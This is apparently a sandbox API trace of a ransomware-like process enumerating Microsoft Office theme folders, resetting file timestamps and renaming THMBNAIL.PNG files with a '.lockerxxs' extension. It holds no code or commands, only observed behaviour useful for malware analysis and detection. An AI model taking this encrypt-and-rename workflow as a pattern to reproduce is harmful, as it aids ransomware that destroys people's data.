SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.474] CloseHandle (hObject=0x90) returned 1 [0059.474] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" [0059.474] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.474] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.475] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.475] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.477] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.477] CloseHandle (hObject=0x90) returned 1 [0059.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.lockerxxs")) returned 1 [0059.483] lstrcmpA (lpString1=".", lpString2="SLATE") returned -1 [0059.483] lstrcmpA (lpString1="..", lpString2="SLATE") returned -1 [0059.483] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.484] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.484] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.484] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.484] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.485] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.485] CloseHandle (hObject=0x90) returned 1 [0059.486] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" [0059.486] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.486] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.486] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.486] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.488] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.489] CloseHandle (hObject=0x90) returned 1 [0059.489] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.lockerxxs")) returned 1 [0059.492] lstrcmpA (lpString1=".", lpString2="SONORA") returned -1 [0059.492] lstrcmpA (lpString1="..", lpString2="SONORA") returned -1 [0059.492] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.493] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.493] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.493] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.493] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.494] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.497] CloseHandle (hObject=0x90) returned 1 [0059.497] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" [0059.497] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.497] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.497] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.497] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.500] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.500] CloseHandle (hObject=0x90) returned 1 [0059.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.lockerxxs")) returned 1 [0059.502] lstrcmpA (lpString1=".", lpString2="SPRING") returned -1 [0059.502] lstrcmpA (lpString1="..", lpString2="SPRING") returned -1 [0059.502] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.503] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.503] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.503] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.503] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.504] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.505] CloseHandle (hObject=0x90) returned 1 [0059.505] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" [0059.505] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.508] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.508] CloseHandle (hObject=0x90) returned 1 [0059.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.lockerxxs")) returned 1 [0059.510] lstrcmpA (lpString1=".", lpString2="STRTEDGE") returned -1 [0059.510] lstrcmpA (lpString1="..", lpString2="STRTEDGE") returned -1 [0059.510] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.511] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.511] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.511] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.511] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.514] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.514] CloseHandle (hObject=0x90) returned 1 [0059.514] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" [0059.514] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.515] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.515] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.515] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.518] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.518] CloseHandle (hObject=0x90) returned 1 [0059.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.lockerxxs")) returned 1 [0059.519] lstrcmpA (lpString1=".", lpString2="STUDIO") returned -1 [0059.519] lstrcmpA (lpString1="..", lpString2="STUDIO") returned -1 [0059.519] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.519] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.519] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.519] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.519] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.521] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.521] CloseHandle (hObject=0x90) returned 1 [0059.521] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" [0059.521] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.521] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.522] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.522] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.524] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.524] CloseHandle (hObject=0x90) returned 1 [0059.525] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.lockerxxs")) returned 1 [0059.527] lstrcmpA (lpString1=".", lpString2="SUMIPNTG") returned -1 [0059.527] lstrcmpA (lpString1="..", lpString2="SUMIPNTG") returned -1 [0059.527] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.528] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.528] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.528] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.528] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.531] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.531] CloseHandle (hObject=0x90) returned 1 [0059.532] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" [0059.532] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.532] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.532] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.532] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.535] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.535] CloseHandle (hObject=0x90) returned 1 [0059.535] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.lockerxxs")) returned 1 [0059.535] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.537] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.537] CloseHandle (hObject=0x8c) returned 1 [0059.537] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\", lpString2="THEMES.INF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF" [0059.537] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\THEMES.INF", pszSpec="*.ems") returned 0 [0059.537] lstrcmpA (lpString1=".", lpString2="WATER") returned -1 [0059.537] lstrcmpA (lpString1="..", lpString2="WATER") returned -1 [0059.537] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f81f8, cFileName=".", cAlternateFileName="")) returned 0x4f81e8 [0059.538] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.538] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.538] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.538] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.539] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.539] CloseHandle (hObject=0x90) returned 1 [0059.539] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" [0059.539] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.539] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.543] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.543] CloseHandle (hObject=0x90) returned 1 [0059.543] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.lockerxxs")) returned 1 [0059.546] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.546] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.546] lstrcmpA (lpString1=".", lpString2="WATERMAR") returned -1 [0059.546] lstrcmpA (lpString1="..", lpString2="WATERMAR") returned -1 [0059.546] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x740078, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0059.546] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.547] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.547] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.547] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.550] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.551] CloseHandle (hObject=0x90) returned 1 [0059.551] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", lpString2="PREVIEW.GIF" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" [0059.551] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF", pszSpec="*.ems") returned 0 [0059.551] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.554] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0059.554] CloseHandle (hObject=0x90) returned 1 [0059.554] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.lockerxxs")) returned 1 [0059.555] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.555] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.555] lstrcmpA (lpString1=".", lpString2="TRANSLAT") returned -1 [0059.555] lstrcmpA (lpString1="..", lpString2="TRANSLAT") returned -1 [0059.555] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.557] lstrcmpA (lpString1=".", lpString2=".") returned 0 